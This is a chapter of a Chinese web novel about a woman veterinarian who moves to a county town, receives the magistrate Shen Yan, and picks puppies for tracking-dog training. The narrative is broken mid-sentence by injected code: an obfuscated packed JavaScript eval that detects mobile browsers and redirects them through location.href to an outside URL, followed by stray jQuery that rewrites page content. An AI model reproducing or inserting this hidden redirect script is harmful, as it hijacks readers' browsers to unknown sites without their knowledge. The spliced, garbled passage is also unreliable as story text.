14. 新家

作品:《古代兽医札记

    “劳烦张捕头替我谢过大人。”林清说得真情实意。


    见林清阿月二人安置得差不多,张捕头也便告辞,回到县衙复命。


    “那是自然。”张捕头乐呵呵地回应着,便告辞离开。


    换了个住所,林清倒还有些不习惯。


    当次日一早醒来时,睁眼看到的不再是灰扑扑的茅草屋顶,而是平整的灰白墙时,林清还恍惚了一会儿。


    她起身,推开窗。


    后院的老槐树被晨风吹得沙沙作响,大黄在院中踱步,左闻闻,右嗅嗅,好像是在巡视它的新领地。


    一切都是陌生的,却十分安静美好。


    灶房里传来声响,显然是阿月已经起床在灶房忙活了。


    林清赶紧洗漱好,也来到灶房。


    阿月正摸索着生火,和新灶作斗争。小姑娘正笨拙地往灶膛里塞柴火。


    这里的灶和在城郊的土灶有些不同,要说起来,更像是现代时候的农村土灶,林清比阿月要更熟悉些。


    “我来吧。”林清接过火折子,熟练地引燃干草,再添上细柴。


    阿月蹲在蹲在她身边,眼睛亮晶晶的,“阿姐,城里的屋子更好看更干净,就是这灶不如村里的好用。”


    林清笑着往锅里添水,“是啊,不过我们可以慢慢熟悉,不着急。”


    米是新米,下锅后很快冒出香气,林清又切了些咸菜,打了两个鸡蛋摊成蛋饼,很快就做好了一顿简单的早饭。


    吃完饭,林清带着阿月又逛了逛县城,往新家再添置些新物件。


    沈砚体谅她搬家事杂,并未催促训犬事宜,只是叫她一切安排妥当后再去,是以林清并不着急,带着阿月一点点将新家变得更有烟火气。


    就这样过了几日。


    放在老屋的两块牌匾也被林清托人送到了城里,林清看着挂在铺面门口的牌匾,长长呼了口气,这可都是活招牌。


    铺面中原先就有药柜,林清没有多费心,打扫干净,将各类草药工具分门别类地放好,用布条和简易图画做了标记,清晰明了。


    将一切事情做好,林清听见后院小门被叩响,忙去开门。


    门外是沈砚,他只身一人,穿着竹青常服,清隽温润,手里提着个小巧方正的二层提盒,见到林清,眼中流露出温和的笑意。


    “沈大人?”见是沈砚,林清一愣,随即让开身来,“大人请进。”


    “不必多礼。”沈砚微笑,“今日休沐,来看看你们安顿得如何。”


    “林姑娘乔迁新居,特备些时令糕饼,聊表贺意。”他走进院子,将提盒递给林清,“这几样点心清甜不腻,闲来配茶正好。”


    阿月听到声音,从铺子内探出头,眼睛一亮,“谢谢大人!”


    林清谢过,邀请沈砚来到堂屋,请他坐下,又去沏茶。茶是普通茶叶,但茶具却是新的白瓷杯,泛着温润的光泽。


    沈砚环顾堂屋,屋子一如既往,收拾得干净整洁,八仙桌擦得干干净净,条案上的空花瓶还插着一支桂花,传来馥郁的桂花香。


    “还缺什么吗?”他问。


    “什么都不缺。”林清将茶递给他,“大人安排得太周全了,什么都不缺。”


    “那就好。”沈砚点头,抿了口茶,“训犬的事,我昨日已吩咐下去。张捕头和一名叫吴大的衙役,今日午后便去校场学习。”


    “犬只的事,我也让人在城门口贴了告示,征集有潜力的幼犬,待你午后前去校场挑选。”


    林清认真听着,“民女明白了。”


    沈砚又坐了一会儿,问了屋子有无漏风,邻里相处如何,都是些家常琐碎。林清一一答了,心中却有些疑惑,这些事似乎都不该是他亲自过问的。


    临走时,沈砚走到院门口,忽然回头,“对了,你既要在城中长住,若有什么事不便,可随时到衙门找我。张捕头他们也都打过招呼了。”


    “谢大人。”林清谢过。


    沈砚摆摆手,转身离开。


    林清站在门口,看着他的离开的背影,过远的背影完美地掩盖了沈砚那双微红的耳尖。


    阳光将他的影子拉得很长,林清看着他的身影消失在巷口,才关门回屋。


    回到堂屋,将沈砚送的糕点提盒打开。


    提盒上层是八块透花糕,糕体莹白如同脂玉,糕皮薄如蝉翼,隐隐能瞧见内里豆沙馅的颜色,每块糕的顶面都印着好看的纹路,好不精致!


    下层是桃花酥,六枚摆放整齐,每一枚都捏成了半开的桃花模样,层层酥皮泛着淡淡的奶黄。一时间屋子里弥漫着糕点甜而不腻的香气。


    味锦坊的糕点不便宜,林清偶尔也会买,但也不过买些便宜简单的,这般精致的糕点她还从未买过。


    送礼人显然是用了心的。不知怎的,林清又想起了那个清隽端方的人,他对所有人,都是这样温和有礼,照顾有加吗?


    “阿姐,”阿月凑过来,小声说,“沈大人对阿姐真好。”


    林清回过神,轻轻点了点妹妹的额头,“别乱说。”


    “我说真的嘛。”阿月嘟囔,“你看,宅子是他准备的,米面柴火也都是他准备的,每次见阿姐不是带这样就是带那样。我看在村里时,王叔对王婶都没那么细心呢。”


    林清心头一紧,面上却平静,“大人是念我们有功,又与官府合作,自然要多照顾些。这话不许再说了,让人听见了不好。”


    阿月哦了一声,似懂非懂,却也不再提了。


    午后,林清和阿月来到校场。张捕头和一个二十出头的年轻衙役已经等在那里了。


    那衙役个子壮实,肤色黑红,见了林清有些拘束地行礼,“小的吴大,见过姑娘。”


    “不便多礼。”林清请二人到凉棚坐下。


    “训犬之事,大人想必已经与二位说了。”林清开门见山,“我们先说第一桩,如何挑选有潜力的犬只。”


    张捕头坐直了身子,“林姑娘请讲。”


    吴大则搓着手,有些紧张,“林姑娘,小的没训过狗……只怕笨手笨脚的。”


    “无妨。”林清温声道,“谁都不是天生就会的,只要有心,肯学,就能学会。”


    她顿了顿,开始讲解:“挑选犬只,首要看三样:一是嗅觉,二是性情,三是体格。”


    “嗅觉不必多说,追踪犬全靠鼻子。测试法子很简单,取一块肉干,让犬闻过,然后藏起来,看它能否找到。”


    “性情要稳。太凶


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16866215|191633||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的容易伤人,太怯的见到生人就躲,都不合适。最好的就是不卑不亢,对人有信任又保持警觉的。”


    “体格要壮实灵便的,四肢匀称,跑跳灵活。幼犬最好,可塑性最强。”


    张捕头和吴大听的认真,不时点头。


    正说着,校场外忽然传来喧闹声。


    林清起身去看,校场外聚了好多人,有的牵着狗,有的抱着狗,还有的用篮子提着刚断奶的小狗崽。


    见到林清,人群嗡地围了上来。


    “林姑娘,听说衙门正在征集好狗?”


    “我家狗可聪明了,看家一流!”


    “我这可是猎户家的,鼻子灵着呢!”


    原来沈砚让人贴的告示起了效。告示上写得明白,衙门征集嗅觉灵敏,性情沉稳的幼犬,选中者每只给五十文酬谢。这对寻常百姓来说不是小数目,难怪来了这么多人。


    林清忙让张捕头和吴大维持秩序,在校场空地摆开阵势,一只一只筛选。


    第一只是条黑色土狗,半大,见到生人就吠,牵都牵不住。林清摇头拒绝,“太躁。”


    第二只是条细犬,细长,眼神躲闪,人一靠近就往主人身后缩。“太怯。”


    第三只是条黄白花的小狗崽,圆滚滚的,被主人抱在怀里。林清接过,小狗也不怕,歪头看着她,黑亮眼睛里满是好奇。


    她从随身的小包中取出一小块肉干让小狗闻了闻,然后走到墙角,把肉干藏到砖缝里。


    “去找。”她放下小狗。


    小狗在原地转了两圈,鼻子贴地嗅了嗅,然后迈着小短腿摇摇晃晃地朝墙角走去,在砖缝前停住,用爪子扒拉两下,果然找到了肉干,叼起来跑回林清身边,尾巴摇得欢快。


    “这只可以。”林清眼睛一亮。


    狗主人是个中年汉子,闻言喜笑颜开,“这狗崽才三个月,它娘可是看山的好手!”


    林清让张捕头记下,付了五十文,汉子欢天喜地地走了。


    如此筛选了一下午,共挑中五只幼犬。除了那只黄白花小狗,还有一条全身漆黑的小狗,一条耳朵耷拉的小黄狗,一条腿长身细的小灰狗,以及一条斑纹似虎的小花狗。


    五只小狗排成一排,有的好奇地东张西望,有的怯生生缩着,但都不吵不闹。


    大黄走了过来,挨个问了闻,喉咙里发出低低的呼噜声,像在打招呼。小狗们见它温和,逐渐放松下来。


    “好,今日先到这里。”林清拍拍手,“明日开始正式训练。张捕头,吴大哥,你们今日先回去吧,吧今日我说的好好想想。训犬急不得,得一步一步来。”


    两人应了,告辞离去。


    林清和阿月将小狗们带回家,安置在后院。前几日她们多搭了个犬舍,如今刚好派上用场。犬舍宽敞,铺着厚厚的干草。五只小狗挤在一起很快便相互熟悉了,你蹭蹭我,我舔舔你,玩作一团。


    大黄蹲在犬舍外看着,像是个看顾幼崽的长辈。


    晚饭后,林清在油灯下整理今日的记录。她不会写繁体字,又不敢写简体字,害怕被人发现,索性用图画代替,画只鼻子代表嗅觉,笑脸表示性情,四条腿代表体格。又画了五只小狗的简图,每只都标注好各自的特点。